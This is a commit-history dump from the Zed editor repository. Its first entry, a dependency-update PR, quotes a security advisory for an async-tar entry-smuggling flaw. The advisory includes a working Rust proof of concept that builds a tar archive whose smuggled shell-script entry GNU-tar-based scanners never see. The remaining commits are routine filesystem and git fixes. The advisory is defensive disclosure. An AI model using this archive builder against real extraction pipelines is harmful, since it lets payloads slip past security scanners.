This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [async-tar](https://redirect.github.com/dignifiedquire/async-tar) | workspace.dependencies | minor | `0.5.1` → `0.6.0` | --- > [!WARNING] > Some dependencies could not be looked up. Check the [Dependency Dashboard](../issues/15138) for more information. --- ### async-tar PAX extension-header desync enables tar entry/content smuggling [CVE-2026-53600](https://nvd.nist.gov/vuln/detail/CVE-2026-53600) / [GHSA-35rm-7j9c-2f7m](https://redirect.github.com/advisories/GHSA-35rm-7j9c-2f7m) <details> <summary>More information</summary> #### Details ##### Summary `async-tar` v0.6.0 mis-applies a buffered PAX `size` extension to an intermediary extension header (a GNU longname `L`, a GNU longlink `K`, or a PAX `x`/`g` header) instead of to the next *file* entry. POSIX requires a PAX extended-header record set to describe the next file entry, never an intervening extension header. Because `poll_next_raw` (`src/archive.rs`) threads the buffered PAX records into the size computation of whatever raw header it reads next — and that header can be an intermediary `L` — the stream cursor is advanced by an attacker-chosen amount when the `L` body is consumed. The parser then desyncs relative to a POSIX-correct tar parser (e.g. GNU tar), reading subsequent bytes at the wrong block boundary. An attacker who can influence a tar stream that an `async-tar` consumer extracts can construct an `x → L → file` sequence whose entry list and on-disk result differ between `async-tar` and a reference parser. This enables content/entry smuggling: a file that a GNU-tar-based scanner/validator/AV sees as benign opaque data is extracted by `async-tar` as a different file with different bytes (e.g. an executable script), and vice versa. Type confusion / improper validation of the specified quantity (size). CWE-20, CWE-843. Severity assessed Medium, consistent with the same defect class in the upstream tar-rs / tokio-tar lineage. ##### Affected code Package: `async-tar` (crates.io). Affected version: **0.6.0** (latest release) and current `main` HEAD. Both lack the extension-header guard. `src/archive.rs`, `poll_next_raw` (line numbers from the v0.6.0 tag, commit `45814b19295b7398e119c90c57d8c8bf70a798b6`): ```rust let file_pos = *next; let mut header = current_header.take().unwrap(); // when pax extensions are available, the size should come from there. let mut size = header.entry_size()?; // the size above will be overriden by the pax data if it has a size field. // same for uid and gid, which will be overridden in the header itself. if let Some(pax_extensions_data) = pax_extensions_data { // <-- no is_extension_header guard let pax = pax_extensions(pax_extensions_data); for extension in pax { let extension = extension.map_err(|_e| other("pax extensions invalid"))?; let Some(key) = extension.key().ok() else { continue }; match key { "size" => { let size_str = extension.value() .map_err(|_e| other("failed to parse pax size as string"))?; size = size_str.parse::<u64>() .map_err(|_e| other("failed to parse pax size"))?; } "uid" => { let v = extension.value().unwrap(); header.set_uid(v.parse().unwrap()); } "gid" => { let v = extension.value().unwrap(); header.set_gid(v.parse().unwrap()); } _ => { continue } } } } let data = EntryIo::Data(archive.clone().take(size)); // body length = mis-applied PAX size ``` and a few lines further down the same function: ```rust // Store where the next entry is, rounding up by 512 bytes. let size = (size + 511) & !(512 - 1); *next += size; // cursor advance = mis-applied PAX size ``` The caller loop in `src/archive.rs` (`Entries::poll_next`) buffers a PAX local extension into `current_pax_extensions` and then calls `poll_next_raw` with `current_pax_extensions.as_deref()` for the *next* raw header. When that next raw header is an intermediary GNU longname (handled by the `is_gnu_longname()` branch a few lines later), the PAX `size` is applied to it, so `*next` advances by the spoofed size rather than the `L` header's own declared size. That is the desync. The buffered PAX records are intended to apply only to the following *file* entry; the missing check is whether the raw header currently being sized is itself an extension header (`L`/`K`/`x`/`g`). ##### Impact Differential extraction / entry smuggling. A consumer that extracts an attacker-influenced tar stream with `async-tar` (e.g. a server endpoint that unpacks an uploaded `.tar`/`.tar.gz`, a dependency/artifact fetcher that unpacks a remote tarball, an archive-preview/scan pipeline) will: - materialize files / file contents that a POSIX-correct parser (GNU tar, libarchive/bsdtar) does not surface, and - omit or alter files that the reference parser does surface. This breaks any security control that relies on scanning the archive with one parser and extracting with `async-tar`: a malware/secret scanner reading the stream with GNU tar can be made to see only benign data while `async-tar` writes an executable payload to disk. It can also be used to hide entries from audit/inventory tooling, or to write content to a path the reviewer believes holds something else. No attacker-controlled local state is required — only the ability to influence the bytes of the tar stream that the consumer extracts. ##### How input reaches the sink (reachability) The vulnerable path is the library's primary public API for reading archives: `Archive::new(reader).entries()` returns an `Entries` stream whose `poll_next` drives `poll_next_raw` for every header. Any consumer that iterates entries (or calls `unpack`/`unpack_in` on them) of an attacker-influenced tar stream reaches the sink with no additional configuration. The `reader` need not be a file — it is any `AsyncRead`, so an upload buffer, an HTTP response body, or a decompressor output all qualify. The only precondition for the desync is that the stream contain a PAX local-extension header (`x`) carrying a `size` record immediately followed by an intermediary GNU longname (`L`) before the next file header — a structure the attacker fully controls in the archive bytes. Representative reachable consumers are server endpoints that unpack uploaded `.tar`/`.tar.gz` bodies, dependency/artifact fetchers that unpack remote tarballs, and archive-scan/preview pipelines. ##### Proof of concept A standalone Rust consumer binary that links the published crates.io `async-tar = "=0.6.0"` (`default-features = false, features = ["runtime-tokio"]`) and runs the real `Archive::new(...).entries()` extraction loop (the same shape used by real downstream server consumers that unpack uploaded tarballs). It reads a tar file and writes each entry to a destination directory, printing the entry list `async-tar` surfaces. A second binary hand-crafts the malicious and benign tar byte streams. Malicious archive geometry (block = 512 bytes): ``` B0 x PAX local-extension header, records declare size=1024 (= 2 blocks) B1 PAX records ("<len> size=1024\n") B2 L GNU longname header, OWN declared size = 512 (= 1 block) B3 longname block #​1 = "GNU_SEES_THIS.txt\0..." (the name GNU tar uses) B4 a normal file header "placeholder_A" (size 512) B5 <-- this block IS a valid tar header for the smuggled file "hidden_payload.sh" (size 65) B6 smuggled payload "#!/bin/sh\n# SMUGGLED ENTRY...\n" B7,B8 two zero blocks (EOF) ``` GNU tar honours the `L` header's own declared size (1 block) for the longname and ignores the buffered PAX `size`, so it reads B3 as the longname, treats B4 as the file, and reads B5 as that file's opaque data. `async-tar` mis-applies the PAX `size` (2 blocks) to the `L` header, reads B3+B4 as the longname, lands its cursor on B5, parses it as a tar header, and extracts the smuggled `hidden_payload.sh` body (B6). Tar-builder source (`mktar.rs`): ```rust use std::io::Write; const BLOCK: usize = 512; fn octal(buf: &mut [u8], v: u64) { let s = format!("{:0width$o}", v, width = buf.len() - 1); let b = s.as_bytes(); buf[..b.len()].copy_from_slice(b); buf[b.len()] = 0; } fn header(name: &[u8], size: u64, typeflag: u8) -> [u8; BLOCK] { let mut h = [0u8; BLOCK]; let n = name.len().min(100); h[..n].copy_from_slice(&name[..n]); octal(&mut h[100..108], 0o644); octal(&mut h[108..116], 0); octal(&mut h[116..124], 0); octal(&mut h[124..136], size); octal(&mut h[136..148], 0); h[156] = typeflag; if typeflag == b'L' { h[257..265].copy_from_slice(b"ustar \0"); } else { h[257..263].copy_from_slice(b"ustar\0"); h[263..265].copy_from_slice(b"00"); } for b in &mut h[148..156] { *b = b' '; } let sum: u32 = h.iter().map(|b| *b as u32).sum(); h[148..156].copy_from_slice(format!("{:06o}\0 ", sum).as_bytes()); h } fn pad(out: &mut Vec<u8>, len: usize) { let rem = len % BLOCK; if rem != 0 { out.extend(std::iter::repeat(0u8).take(BLOCK - rem)); } } fn pax_record(key: &str, val: &str) -> Vec<u8> { let mut len = key.len() + val.len() + 3; loop { let s = format!("{} {}={}\n", len, key, val); if s.len() == len { return s.into_bytes(); } len = s.len(); } } fn name_block(name: &[u8]) -> Vec<u8> { let mut b = vec![0u8; BLOCK]; b[..name.len()].copy_from_slice(name); b } fn write_block(out: &mut Vec<u8>, data: &[u8]) { out.extend_from_slice(data); pad(out, data.len()); } fn build_malicious() -> Vec<u8> { let mut out = Vec::new(); let gnu_name = b"GNU_SEES_THIS.txt"; let spoof = (BLOCK * 2) as u64; let mut recs = Vec::new(); recs.extend(pax_record("size", &spoof.to_string())); out.extend_from_slice(&header(b"./PaxHeaders/0", recs.len() as u64, b'x')); write_block(&mut out, &recs); out.extend_from_slice(&header(b"././@​LongLink", BLOCK as u64, b'L')); out.extend_from_slice(&name_block(gnu_name)); // B3 out.extend_from_slice(&header(b"placeholder_A", BLOCK as u64, b'0')); // B4 let smuggled_body = b"#!/bin/sh\n# SMUGGLED ENTRY: invisible to a GNU-tar-based scanner\n".to_vec(); out.extend_from_slice(&header(b"hidden_payload.sh", smuggled_body.len() as u64, b'0')); // B5 write_block(&mut out, &smuggled_body); // B6 out.extend(std::iter::repeat(0u8).take(BLOCK * 2)); out } fn build_benign() -> Vec<u8> { let mut out = Vec::new(); let mut recs = Vec::new(); recs.extend(pax_record("path", "normal_file.txt")); out.extend_from_slice(&header(b"./PaxHeaders/0", recs.len() as u64, b'x')); write_block(&mut out, &recs); let body = b"plain benign content\n".to_vec(); out.extend_from_slice(&header(b"normal_file.txt", body.len() as u64, b'0')); write_block(&mut out, &body); let body2 = b"second benign file\n".to_vec(); out.extend_from_slice(&header(b"second.txt", body2.len() as u64, b'0')); write_block(&mut out, &body2); out.extend(std::iter::repeat(0u8).take(BLOCK * 2)); out } fn main() { let a: Vec<String> = std::env::args().collect(); let bytes = match a[1].as_str() { "malicious" => build_malicious(), "benign" => build_benign(), _ => std::process::exit(2) }; std::fs::File::create(&a[2]).unwrap().write_all(&bytes).unwrap(); } ``` Consumer source (`main.rs`, mirrors a real `Archive::entries()` extraction loop): ```rust use async_tar::Archive; use tokio::fs; use tokio::io::AsyncReadExt; use tokio_stream::StreamExt; #[tokio::main(flavor = "multi_thread", worker_threads = 2)] async fn main() { let args: Vec<String> = std::env::args().collect(); let dest = std::path::PathBuf::from(&args[2]); fs::create_dir_all(&dest).await.unwrap(); let bytes = fs::read(&args[1]).await.unwrap(); let archive = Archive::new(std::io::Cursor::new(bytes)); let mut entries = archive.entries().expect("entries()"); let mut idx = 0usize; while let Some(entry) = entries.next().await { let mut file = match entry { Ok(f) => f, Err(e) => { println!("[async-tar] ERROR: {e}"); break } }; let path_raw = file.path().expect("path").into_owned(); let path_disp = path_raw.to_string_lossy().split('\u{0}').next().unwrap_or("").to_string(); let hdr_size = file.header().size().unwrap_or(0); let mut out = dest.clone(); for comp in std::path::PathBuf::from(&path_disp).components() { if let std::path::Component::Normal(p) = comp { out.push(p); } } let mut body = Vec::new(); let read = file.read_to_end(&mut body).await.unwrap_or(0); if let Some(parent) = out.parent() { let _ = fs::create_dir_all(parent).await; } let _ = fs::write(&out, &body).await; let preview: String = body.iter().take(48) .map(|b| if b.is_ascii_graphic() || *b == b' ' { *b as char } else { '.' }).collect(); println!("[async-tar] entry#{idx} path={:?} hdr_size={hdr_size} bytes_read={read} body=\"{preview}\"", path_disp); idx += 1; } println!("[async-tar] total entries surfaced: {idx}"); } ``` `Cargo.toml`: ```toml [dependencies] async-tar = { version = "=0.6.0", default-features = false, features = ["runtime-tokio"] } tokio = { version = "1", features = ["rt-multi-thread", "macros", "io-util", "fs"] } tokio-stream = "0.1" futures = "0.3" ``` ##### End-to-end reproduction Reference parser: GNU tar 1.35. async-tar: the v0.6.0 crates.io release linked by the consumer binary above. Verbatim captured output: ``` $ cargo build --release # links async-tar v0.6.0 from crates.io Compiling async-tar v0.6.0 Compiling async-tar-consumer v0.1.0 Finished `release` profile [optimized] target(s) in 10.12s $ ./target/release/mktar malicious mal.tar wrote 4608 bytes to mal.tar ##### ---- (A) GNU tar reference: list + extract ---- $ gtar tvf mal.tar ; echo "rc=$?" -rw-r--r-- 0/0 1024 1970-01-01 08:00 GNU_SEES_THIS.txt rc=0 $ gtar xf mal.tar -C /tmp/gnu_x ; echo "rc=$?" rc=0 $ head -c 80 /tmp/gnu_x/GNU_SEES_THIS.txt hidden_payload.sh ##### (GNU tar surfaces ONE file, 1024 bytes; its data is the opaque tar-header ##### bytes of B5 — a GNU-tar-based scanner sees only benign noise.) ##### ---- (B) async-tar v0.6.0 consumer: extract ---- $ ./target/release/extract mal.tar /tmp/at_mal [async-tar] entry#0 path="GNU_SEES_THIS.txt" hdr_size=65 bytes_read=1024 body="#!/bin/sh.# SMUGGLED ENTRY: invisible to a GNU-t" [async-tar] total entries surfaced: 1 $ head -c 80 /tmp/at_mal/GNU_SEES_THIS.txt #!/bin/sh ##### SMUGGLED ENTRY: invisible to a GNU-tar-based scanner ``` Same bytes, two parsers, different on-disk result: GNU tar writes a 1024-byte benign blob; `async-tar` writes a 65-byte executable shell script that the reference parser never exposes as an entry. The smuggled `#!/bin/sh` body is content a GNU-tar-based scanner would never inspect. Negative control — a benign archive (correct PAX usage: `x` applies `path` to the following file, no intermediary `L`): ``` $ ./target/release/mktar benign ben.tar $ gtar tvf ben.tar ; echo "rc=$?" -rw-r--r-- 0/0 21 1970-01-01 08:00 normal_file.txt -rw-r--r-- 0/0 19 1970-01-01 08:00 second.txt rc=0 $ ./target/release/extract ben.tar /tmp/at_ben [async-tar] entry#0 path="normal_file.txt" hdr_size=21 bytes_read=21 body="plain benign content." [async-tar] entry#1 path="second.txt" hdr_size=19 bytes_read=19 body="second benign file." [async-tar] total entries surfaced: 2 ``` GNU tar and `async-tar` produce identical entry lists and identical on-disk files. No smuggling. The differential is exclusive to the `x → L → file` desync sequence. ##### Fix Apply the buffered PAX records (and the `size`/`uid`/`gid` overrides) only when the raw header being sized is NOT itself an extension header. Skip the override for GNU longname (`L`), GNU longlink (`K`), and PAX local/global (`x`/`g`) headers, whose body length must come from their own declared size. This mirrors the fix adopted in the upstream tar-rs / tokio-tar lineage for the same defect class. ```rust // when pax extensions are available, the size should come from there. let mut size = header.entry_size()?; // PAX extensions describe the NEXT file entry, not an intermediary // extension header. Applying a buffered PAX `size` to such an intermediary // header (L/K/x/g) advances the stream cursor by the wrong amount and // desyncs the parse. let entry_type = header.entry_type(); let is_extension_header = entry_type.is_gnu_longname() || entry_type.is_gnu_longlink() || entry_type.is_pax_local_extensions() || entry_type.is_pax_global_extensions(); // the size above will be overriden by the pax data if it has a size field. // same for uid and gid, which will be overridden in the header itself. if let Some(pax_extensions_data) = pax_extensions_data.filter(|_| !is_extension_header) { let pax = pax_extensions(pax_extensions_data); for extension in pax { // unchanged: same size/uid/gid override loop as before } } ``` Fix-verify, captured verbatim. The patched `async-tar` (guard added) re-run against the same `mal.tar`: ``` $ cargo build --release # [patch.crates-io] async-tar = { path = "../async-tar-patched" } Compiling async-tar v0.6.0 (.../async-tar-patched) Compiling async-tar-consumer v0.1.0 Finished `release` profile [optimized] target(s) $ ./target/release/extract mal.tar /tmp/at_fix [async-tar] entry#0 path="GNU_SEES_THIS.txt" hdr_size=512 bytes_read=1024 body="hidden_payload.sh..............................." [async-tar] total entries surfaced: 1 $ head -c 80 /tmp/at_fix/GNU_SEES_THIS.txt hidden_payload.sh ``` With the guard, `async-tar`'s view converges with GNU tar's: it surfaces `GNU_SEES_THIS.txt` with the opaque B5 bytes (`hidden_payload.sh...`) as data, and no longer extracts the smuggled executable script. The benign control still produces the correct two-file output. The desync is eliminated. ##### Fix PR A fix PR adding the `is_extension_header` guard to `poll_next_raw` in `src/archive.rs` is opened from the advisory's temporary private fork against this repository. It carries the diff shown in the **Fix** section above (no behavioural change for well-formed archives; only intermediary `L`/`K`/`x`/`g` headers stop inheriting a following PAX `size`). ##### Credit Reported by tonghuaroot. #### Severity - CVSS Score: 6.3 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N` #### References - [https://github.com/dignifiedquire/async-tar/security/advisories/GHSA-35rm-7j9c-2f7m](https://redirect.github.com/dignifiedquire/async-tar/security/advisories/GHSA-35rm-7j9c-2f7m) - [https://github.com/advisories/GHSA-35rm-7j9c-2f7m](https://redirect.github.com/advisories/GHSA-35rm-7j9c-2f7m) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-35rm-7j9c-2f7m) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>dignifiedquire/async-tar (async-tar)</summary> ### [`v0.6.1`](https://redirect.github.com/dignifiedquire/async-tar/compare/v0.6.0...v0.6.1) [Compare Source](https://redirect.github.com/dignifiedquire/async-tar/compare/v0.6.0...v0.6.1) ### [`v0.6.0`](https://redirect.github.com/dignifiedquire/async-tar/releases/tag/v0.6.0): - Tokio Support [Compare Source](https://redirect.github.com/dignifiedquire/async-tar/compare/v0.5.1...v0.6.0) </details> --- ### Configuration 📅 **Schedule**: (in timezone America/New_York) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- Release Notes: - N/A <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yNDIuMiIsInVwZGF0ZWRJblZlciI6IjQzLjI0Mi4yIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119--> --------- Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> Co-authored-by: Kirill Bulatov <kirill@zed.dev> |
||
|
|
d8ecc302c6 |
fs: Update trash crate version (#60899)
# Objective Fix errors in Windows when trashing files from the Git Panel. Closes #60716. ## Solution The solution and discussion is available at https://github.com/zed-industries/trash-rs/pull/3 , seeing as the fix was fully done on the `trash` crate. Original discussion of this issue can be found at https://github.com/zed-industries/zed/pull/59595 . ## Testing Testing was performed manually on a Windows machine by updating Zed's `fs` crate dependencies to point at the updated code and then building from source and testing out the same exact path, namely: 1. Create a new untracked file 2. Trash the file from the Git Panel's context menu 3. Confirm that, after confirming that you wish to trash the file, the file is trash and no error is shown Since this whole trash-tracking logic was implemented in the context of the project panel's undo system, I also confirmed that the changes in the crate's code didn't affect trashing and restoring on Windows. ## Self-Review Checklist: N/A ## Showcase <details> <summary>Before</summary> https://github.com/user-attachments/assets/120ab3ec-d631-4243-a21e-c510c27ed518 </details> <details> <summary>After</summary> https://github.com/user-attachments/assets/7ff1e373-b56d-431f-aad5-d4c5bb301e02 </details> --- Release Notes: - Fixed issue when trashing untracked files in Git Panel on Windows |
||
|
|
60314a7416 |
Open non-writeable files in Capability::Read mode (#57202)
Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content is consistent with the [UI/UX checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Closes #57174 Release Notes: - Open non-writeable files in Capability::Read mode Co-authored-by: Lukas Wirth <lukas@zed.dev> |
||
|
|
35ffa8f480 |
git_ui: Fix history tab empty and detached HEAD states (#57959)
This PR fixes a few History tab edge cases in the Git Panel. For a fresh repo with no commits, the History tab now finishes loading and shows No commits yet instead of sitting on Loading… indefinitely or falling into a misleading empty/error state. It also fixes detached HEAD history loading. In that case, the Git Panel asks the backend to load history from the current commit SHA. The local git backend was accidentally treating the raw object ID bytes as a string instead of formatting them as a normal hex SHA, so git log could fail before returning any commits. The backend now passes the SHA in the format git expects. **Repro for empty repo:** mkdir /tmp/zed-empty-history cd /tmp/zed-empty-history git init zed . Open Git Panel → History. Before: History could stay stuck on Loading…. After: History shows No commits yet. **Repro for detached HEAD:** mkdir /tmp/zed-detached-history cd /tmp/zed-detached-history git init echo hi > file git add file git commit -m initial git checkout --detach HEAD zed . Open Git Panel → History. Before: History could fail to load commits. After: History shows the commit history normally. Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content is consistent with the [UI/UX checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Release Notes: - Fixed Git history tab states for empty repositories and detached HEAD history. Co-authored-by: Smit Barmase <heysmitbarmase@gmail.com> |
||
|
|
e2d41c477c |
fs: Retry watch registrations skipped during the native watch-limit cooldown (#60662)
GlobalWatcher::add returns Ok(None) while the native watch-limit cooldown is active, and FsWatcher::add_existing_path treated that as success: the path was never watched, with no retry and no error. A long-lived watch (like a repository's git directory) that happened to register during a cooldown window silently never received events. Route the skipped registration through the existing pending-path machinery, which already polls until registration succeeds and emits a rescan event for the path so that changes missed in the interim are picked up. --- Release Notes: - N/A or Added/Fixed/Improved ... |
||
|
|
5a7d414a23 |
fs: Skip parent watch for poll watcher symlink targets (#57049)
# Problem Since the release of the new git UI, when `~/.gitconfig` on a remote server is a symlink pointing to a file on a virtual filesystem (a common setup when using [OrbStack](https://orbstack.dev/) on macOS), Zed fails to connect with "Timed out pinging remote client". # Cause When setting up a file watcher for gitconfig, `fs::watch()` reads the symlink target and adds its parent directory to the poll watcher. `notify::PollWatcher::watch()` does a full synchronous recursive directory scan at registration time to build an initial snapshot. If the parent is something like a Mac home directory mounted via virtiofs, that scan blocks the server's main thread long enough that it can't respond to the initial ping within the 5 second timeout. # Solution The fix I implemented for this was to skip the parent directory watch when using a poll watcher. As far as I can tell, it's redundant in the poll case since the poll watcher detects changes by periodically reading metadata at the registered path, so watching the parent doesn't add anything for change detection. From my limited testing this seems to work fine but if someone with more experience in this part of the codebase would like to weigh in, that would be very much appreciated. Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [ ] Unsafe blocks (if any) have justifying comments - [ ] The content is consistent with the [UI/UX checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) - [ ] Tests cover the new/changed behavior - [ ] Performance impact has been considered and is acceptable Release Notes: - Fixed remote SSH connections timing out when `~/.gitconfig` is a symlink to a file on a virtual filesystem |
||
|
|
bc29bcfe72 |
git: Load buffer git diff bases with a single batched git process (#59357)
# Objective Whenever the git repository state is updated on disk (e.g., via staging, committing, branch switching, or stashing), `reload_buffer_diff_bases` is scheduled to reload the diff for all active buffers. This causes 2 git processes to be spawned for each open file which can become noticeable when many files are open https://github.com/zed-industries/zed/blob/5e32405669d0470baec345073dafffb552a18bae/crates/project/src/git_store.rs#L5179 ## Solution This PR introduces `load_revisions` which uses a single `git cat-file --batch` command to compute the diff for all files in the same git process. This prevents the need to sequentially schedule 2 git subprocesses per open buffer. I also changed `load_index_text` and `load_commited_text` to rely on `load_revisions` which simplifies the code. ## Testing I added a unittest and manually verified that Zed now only runs a single `git cat-file --batch` command instead of 2 `git show` processes per open buffer. On macOS I viewed the currently running git processes using: ```shell sudo eslogger exec | jq --unbuffered -r ' select(.event.exec?.target?.executable?.path? | strings | contains("git")) | (.event.exec?.args? // []) | join(" ") ' ``` ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable /cc @Veykril Release Notes: - Reduced number of git processes for calculating diff of open buffers when the repo state changes on disk |
||
|
|
31fc9d5f47 |
project_panel: Continue batch delete when individual entries fail (#59595)
## Summary On Windows, `trash::delete_with_info` can return an error even when the file was successfully moved to the Recycle Bin. This is caused by a race condition in the `trash` crate: after `IFileOperation::PerformOperations` completes, it re-binds the trashed item via `SHCreateItemFromParsingName` to read its metadata, but the shell's virtual namespace cache may not yet reflect the new item, producing an error. Previously, the delete loop propagated this error and aborted the entire batch. The outer `detach_and_log_err` swallowed the error, so the user received no feedback. This PR handles each entry independently: entries that fail to delete are skipped, the loop continues, and undo history is recorded for the entries that succeeded. The upstream root cause (the post-operation re-bind race in `zed-industries/trash-rs`) will be addressed separately. Before: https://github.com/user-attachments/assets/59a95ac5-098b-42dc-bffb-f3240c6b966d After: https://github.com/user-attachments/assets/0cd6c0b3-2ee3-4bf2-a243-3e8a83d05dd7 ## Test plan - [ ] Select multiple files in the project panel on Windows - [ ] Trash them (right-click > Move to Trash, or `Delete` key) - [ ] Confirm all selected files are deleted, even if one triggers the trash-crate race - [ ] Undo restores the files that were successfully trashed Release Notes: - Improved handling of failed trash or delete operations in the Project Panel in order to display a toast informing the user that some files could not be trashed or deleted --------- Co-authored-by: dino <dinojoaocosta@gmail.com> |
||
|
|
442a3476bc |
Fix crash when trashing all untracked files (#60235)
# Objective
Fixes a crash when trashing a large number of untracked files from the
Git Panel, caused by unbounded OS thread spawning (thread explosion).
## Solution
`GitPanel::clean_all()` builds one deletion task per untracked file and
then awaits them one by one. Since GPUI tasks start executing as soon as
they are spawned, not when they are awaited, all deletions run
concurrently. Each of them called `RealFs::trash`, which spawned a
dedicated OS thread per call, so a large enough batch exceeded the OS
per-process thread limit and panicked at the `.expect("The os can spawn
threads")` in `RealFs::trash`.
This PR replaces the dedicated thread with `smol::unblock`, which runs
the blocking `trash::delete_with_info` call on a shared thread pool that
is capped and queues additional work instead of spawning more. This is
the same idiom already used elsewhere in the file (e.g. `atomic_write`)
for blocking filesystem work.
## Testing
- Did you test these changes? If so, how?
yes, reproduced using steps in the issue before and after and confirmed
fix works.
https://github.com/user-attachments/assets/d3bcd049-485a-486f-877a-0e5c21b7917c
Reproduction steps here:
https://github.com/zed-industries/zed/issues/60216
## Self-Review Checklist:
- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable
Closes #60216
---
Release Notes:
- Fixed a crash caused by spawning one thread per file when trashing a
large number of untracked files from the Git Panel.
---------
Co-authored-by: dino <dinojoaocosta@gmail.com>
|
||
|
|
f8e1ab7f3c |
fs: Coalesce queued rescans after watcher overflow (#60098)
After a filesystem watcher loses sync (e.g. a `git pull` that changes many files overflows the backend's event queue), the backend can enqueue many `Rescan` markers in quick succession. The dispatch thread processed each one separately, and each rescan invokes every registration for that watcher mode, so a single burst could kick off several full worktree scans at once — leading to sustained CPU and an unresponsive project panel. This adds `dispatch_batch`, which handles the first event and drains the events already waiting in the channel, forwarding at most one `Rescan` per `WatcherMode` per drained batch while letting ordinary filesystem events and errors pass through untouched. A later watcher overflow can still trigger another recovery scan. Reported with a reproduction and patch in #59610. Release Notes: - Batch file watcher rescan events to improve Zed's responsiveness under heavy FS usage |
||
|
|
356e396517 |
git_ui: Search commits by hash (#59132)
## Summary - Allows Git Graph search to match abbreviated or full commit hashes when the query looks like a SHA. - Keeps the existing message search behavior for non-hash queries. - Mirrors the hash search heuristic in the fake git backend and adds GPUI coverage for hash and message search. <img width="1912" height="1241" alt="image" src="https://github.com/user-attachments/assets/903b438e-baa8-4447-95dc-faf321bca6a5" /> ## Test Plan - `cargo fmt --check --package git_ui` - `cargo -q test -p git_ui test_git_graph_search_matches_commit_hash_prefix -- --nocapture` - `./script/clippy -p git_ui` ## Suggested .rules additions - N/A Release Notes: - Improved Git Graph search to find commits by abbreviated or full hash. |
||
|
|
9f56a4df51 |
Fix CI error from linux case insensitive path (#59624)
CI failed to build Linux because of my recent FS watcher fix, so I commented out the libc code and defaulted to false. In a follow up PR I will fix this ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Release Notes: - N/A |
||
|
|
6febe1c45a |
Allow file watchers to handle case insensitive file systems (#59579)
## Goal This PR fixes a bug in our file system watcher. Because it matched paths case sensitively, it didn't account for file systems that are case insensitive by default (macOS, Windows, etc.). As a result, when multiple subscribers watched the same path using different casing, Zed could fail to emit file system events to some of them. ### Reproduction I reproduced this with the `tsgo` LSP, which lowercases the file path of the visible worktree root it runs in. Zed subscribes to worktree roots to receive FS updates — e.g. external edits to a buffer, or git state changes — but it doesn't normalize the path when subscribing, so the two casings never matched. ### Fix Fixing this took longer than expected, because I spent a while deciding on an approach. I considered three: - **Follow VS Code's lead:** always treat macOS/Windows as case insensitive and Linux as case sensitive. Simple, but it would leave a couple of bugs. - **Real case the path at registration:** walk each component and use syscalls to rewrite it to match what the file system shows the user (e.g. Finder shows `/Project/some`, so a request to watch `/project/some` becomes `/Project/some`). This had rough edge cases with symlinks that I didn't want to deal with. - **Detect via syscalls whether a path is on a case-insensitive (normalizing) file system and match accordingly** — what I went with. The one wrinkle is that Windows can mark individual directories case-sensitive… because Windows. I also added integration tests to prevent future regressions. Note: Windows currently defaults to case insensitive; implementing the actual case sensitivity check for it is left to a follow up PR. Helps #38109 #35861 #52376 and maybe #41195 ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Release Notes: - Fixed missed file system events on case-insensitive filesystems that could cause stale git state and other sync issues --------- Co-authored-by: Cole Miller <cole@zed.dev> |
||
|
|
a0e37126e9 |
fs: Dispatch watcher events from the reader thread to avoid thrashing (#59537)
